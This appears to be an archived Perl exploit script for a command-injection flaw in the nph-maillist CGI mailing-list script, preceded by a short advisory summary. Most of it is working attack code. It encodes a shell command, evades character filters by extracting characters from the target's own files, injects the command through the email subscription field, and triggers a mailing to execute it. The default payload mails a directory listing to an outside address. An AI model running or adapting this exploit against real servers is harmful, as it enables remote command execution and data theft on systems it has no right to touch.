107 lines
No EOL
3.8 KiB
Perl
Executable file
107 lines
No EOL
3.8 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2563/info
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nph-maillist is a Perl CGI script that handles mailing lists, typically used to notify interested users of site updates. A hostile user can enter commands embedded in an email address via the subscription form, and then force a mailing which will execute the commands.
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#!/usr/bin/perl
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# nph-maillist hack... Kanedaaa [ kaneda@ac.pl ]
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# its add crazy @email, sends mails, and execute our code of coz ;]
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#
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# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
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# hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
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# Team Members... yeah. i must go sleep. ;]
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# and #phreakpl, #hackingpl :]
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#
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# . remember thats just simple sploit... You cant play in koules this.. ;]
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use Socket;
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# Ip...
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$ip="127.0.0.1";
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# Command to run ...
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$command = 'ls -al|mail ssie@bigbrother.pl';
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#################################################
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if (!$ARGV[0]) {
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print "....nph-maillist hack... Kanedaaa [kaneda\@ac.pl]\n";
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print ".........Use the force, edit source...[ ip & command ]\n";
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print "\n";
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print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
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print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
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}
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if ($ARGV[0] eq "send") { &send }
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if ($ARGV[0] eq "hack") { &hack }
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sub send
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{
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###########################################
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# You cant add this BAD chars... but we can hack this ;]
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#" " ")" "(" ":" "/" "\" "http:"
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###########################################
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# Hack the "/" problem... change "/" -> `head -n1 nph-maillist.pl|cut -c3`
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#
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$command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
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#
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# Hack the ":" problem... change ":" -> `grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print $2'}|cut -c1`
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#
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$command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print \$2'}|cut -c1`/g;
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#
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# Hack the "\" problem... change "\" -> `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`
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#
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$command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`/g;
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#
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# Hack the "(" problem... change "(" -> `grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`
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#
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$command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`/g;
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#
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# Hack the ")" problem... change ")" -> `grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`
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#
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$command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;
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###
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# Change ascii to hex...
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$command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
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#
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# Hack the " " problem... change " " -> "\t" [TAB]
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$command =~ s/%20/%09/g;
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$r = int(rand(100000));
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$command = "$r\@bigbrother.pl;".$command;
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$parms="emailaddress=$command";
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$tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
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"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
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print sendraw($tosend);
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print "If server return some ...adding %trash% to the email list...\n";
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print "Now run with hack parametr...Peace\n";
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}
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sub hack
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{
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$tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
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"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
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print sendraw($tosend);
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print "... Theoretical You are haker... \n";
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}
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#####################################################
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# Ripped from some RFP code... :]] I will infuse good Tea for You...
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# I`am the best Infuser of Tea in .pl ... :]
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sub sendraw {
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my ($pstr)=@_; my $target;
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$target= inet_aton($ip) || die("inet_aton problems");
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socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
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die("Socket problems\n");
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if(connect(S,pack "SnA4x8",2,80,$target)){
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select(S); $|=1;
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print $pstr; my @in=<S>;
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select(STDOUT); close(S);
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return @in;
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} else { die("Can't connect...\n"); }} |